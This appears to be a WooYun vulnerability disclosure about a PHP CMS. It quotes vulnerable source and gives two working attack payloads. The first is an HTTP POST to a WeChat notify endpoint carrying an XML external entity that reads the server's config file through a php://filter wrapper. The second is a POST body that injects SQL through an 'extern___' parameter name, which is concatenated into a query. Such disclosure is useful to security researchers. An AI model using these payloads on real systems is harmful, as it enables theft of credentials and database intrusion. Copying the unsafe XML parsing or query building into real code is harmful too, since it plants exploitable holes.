WooYun.org

$wx=new weixin();
$_GET = H::sqlxss($_GET);
$_POST = H::sqlxss($_POST);  
...........
function response_msg(){
    global $dbm,$C;
    $postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
    
    if(!empty($postStr)){
        $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
        $fromUsername = $postObj->FromUserName;
        $toUsername = $postObj->ToUserName;
...
        $keyword = trim($postObj->Content);
        $keyword = H::sqlxss($keyword);

POST //app/weixin/notify.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=9vl7m4ivoovc76am47nrnr3m81; CNZZDATA1253530733=784223860-1426700537-%7C1426700537; skip_url=mycenter.php
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: text/xml
Content-Length: 262
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/Wamp/www/config/global.php">
]>
<xml>
<ToUserName>&test;</ToUserName>
<Content>a\</Content>
</xml>

function m__save(){
    global $dbm,$C,$V;
    $_POST['info_body']=strip_tags($_POST['info_body'], '<br><p><a><img>');
    $_POST=H::sqlxss($_POST);
    //处理附件参数
    $attach= $oname = $order = $model_fields = array();
    foreach($_POST as $k=>$v){
        if(substr($k,0,9)=='attach___'){
            $attach[$v]=$v;
            $oname[$v]=($_POST['oname___'.$v]==''?'':$_POST['oname___'.$v]);
            $order[$v]=($_POST['order___'.$v]==''?'':$_POST['order___'.$v]);
        }
        if (substr($k,0,9)=='extern___') { // 填充扩展表字段
            $model_fields[substr($k,9)] = $v;
        }
    }
......
if($fields['model_name']!=''){
        $model_fields['info_id']=$info_id;
        //预先处理某些值 比如日期
        foreach($model_fields as $k=>$v) {
            $sql = "select form_type from ".TB_PRE."model_fields where model_name='".$fields['model_name']."' and field_name='".$k."' limit 1";

info_id=1&cate_id=2&model_name=product&info_title=aaaaaa&info_img=&info_body=11&extern___test 'sql语句=1